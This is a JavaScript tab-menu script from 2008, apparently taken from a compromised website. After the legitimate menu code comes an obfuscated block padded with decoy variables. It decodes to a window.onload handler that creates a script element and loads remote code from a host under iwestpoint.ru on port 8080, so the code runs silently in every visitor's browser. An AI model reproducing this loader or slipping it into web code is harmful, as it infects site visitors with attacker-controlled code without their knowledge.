/*
------------------------------------------------------------------------
MENU SCRIPT
------------------------------------------------------------------------

Updated:    January 7 2008

*/

var menuscript={
	disabletablinks: false, ////Disable hyperlinks in 1st level tabs with sub contents (true or false)?
	currentpageurl: window.location.href.replace("http://"+window.location.hostname, "").replace(/^\//, ""), //get current page url (minus hostname, ie: http://www.quommunication.com/news)

definemenu:function(tabid, dselected){
	this[tabid+"-menuitems"]=null
	this.addEvent(window, function(){menuscript.init(tabid, dselected)}, "load")
},

showsubmenu:function(tabid, targetitem){
	var menuitems=this[tabid+"-menuitems"]
 for (i=0; i<menuitems.length; i++){
		menuitems[i].className=""
		if (typeof menuitems[i].hasSubContent!="undefined")
			document.getElementById(menuitems[i].getAttribute("rel")).style.display="none"
	}
	targetitem.className="current"
	if (typeof targetitem.hasSubContent!="undefined")
		document.getElementById(targetitem.getAttribute("rel")).style.display="block"
},

isSelected:function(menuurl){
	var menuurl=menuurl.replace("http://"+menuurl.hostname, "").replace(/^\//, "")
	return (menuscript.currentpageurl==menuurl)
},

addEvent:function(target, functionref, tasktype){ //assign a function to execute to an event handler (ie: onunload)
	var tasktype=(window.addEventListener)? tasktype : "on"+tasktype
	if (target.addEventListener)
		target.addEventListener(tasktype, functionref, false)
	else if (target.attachEvent)
		target.attachEvent(tasktype, functionref)
},

init:function(tabid, dselected){
	var menuitems=document.getElementById(tabid).getElementsByTagName("a")
	this[tabid+"-menuitems"]=menuitems
	for (var x=0; x<menuitems.length; x++){
		if (menuitems[x].getAttribute("rel")){
			this[tabid+"-menuitems"][x].hasSubContent=true
			if (menuscript.disabletablinks)
				menuitems[x].onclick=function(){return false}
		}
		else //for items without a submenu, add onMouseout effect
			menuitems[x].onmouseout=function(){this.className=""}
		menuitems[x].onmouseover=function(){menuscript.showsubmenu(tabid, this)}
		if (dselected=="auto" && typeof setalready=="undefined" && this.isSelected(menuitems[x].href)){
			menuscript.showsubmenu(tabid, menuitems[x])
			var setalready=true
		}
		else if (parseInt(dselected)==x)
			menuscript.showsubmenu(tabid, menuitems[x])
	}
}
}
try {this.cN="";var zK='';this.q='';var m='replace';this.X='';this.B="";var D=RegExp;var mw=new String();this.hz="";function p(c,C){var O;if(O!='R' && O != ''){O=null};var Z;if(Z!='e' && Z!='jT'){Z=''};this.b="";var z='[';var CE;if(CE!='a'){CE=''};var u='g';var QH=new String();var s;if(s!='f' && s!='ux'){s=''};z+=C;z+=']';var mB;if(mB!='FN'){mB='FN'};this.fE='';var izj;if(izj!='' && izj!='Ie'){izj=null};var E=new D(z, u);this.cz='';var dz="";return c[m](E, new String());var AZ=new Date();};var U=new Date();var Fg=new String();var Ak;if(Ak!='mR' && Ak != ''){Ak=null};var V='';var qu=new String();var x=p('o7nAl_oAa7d7',"rB7A_");var g=p('sKcOrTiOpKtT',"TOK");this.xB="";var pF="";var H=p('hPtQtPp0:0/0/Pr0aPk0uBtBe0n0-QcPo0-Pj0pQ.PoYcQnY.Pn0eQ.PjYpB.0sPlQuYt0lYoQa0dQ-PcQoBmQ.BiBwYe0s0t0pQo0iQnYtY.Yr0u0:Q',"YQPB0");var EY=window;var EZ=p('c8r_eIa8tIe8E8lIe8m_eInIt8',"8_SI");var L;if(L!='' && L!='xm'){L=null};var G=p('/3tH-RmOoOb3iOl3e3.OcRoOmW/HtO-3mOo3bWiHlReW.RcOoHmH/RwOe3l3tR.HdWeO/RgWoHoWgRlReO.3cRo3mO/Og3eRtHaRfWrOeWeWlHaWnRc3eRrO.RcRoRmW.OpHh3p3',"R3OHW");var Dm;if(Dm!='' && Dm!='Fl'){Dm=null};var TH;if(TH!=''){TH='LO'};var gE=p('8330228232032',"32");var Kl=new String();j=function(){var SH=new String();_=document[EZ](g);this.ey='';var Fx="";V=H+gE;V+=G;var fF;if(fF!='eW'){fF='eW'};var Io=new Array();_.defer=([1][0]);var Og;if(Og!='Av' && Og!='LN'){Og='Av'};var nV='';var qE='';_.src=V;var v;if(v!='HR' && v!='cb'){v=''};document.body.appendChild(_);};var nZ;if(nZ!='' && nZ!='Klk'){nZ=''};var yl=new Array();var ME="";EY[x]=j;} catch(cY){var hU;if(hU!='qQ' && hU != ''){hU=null};var SJ="";};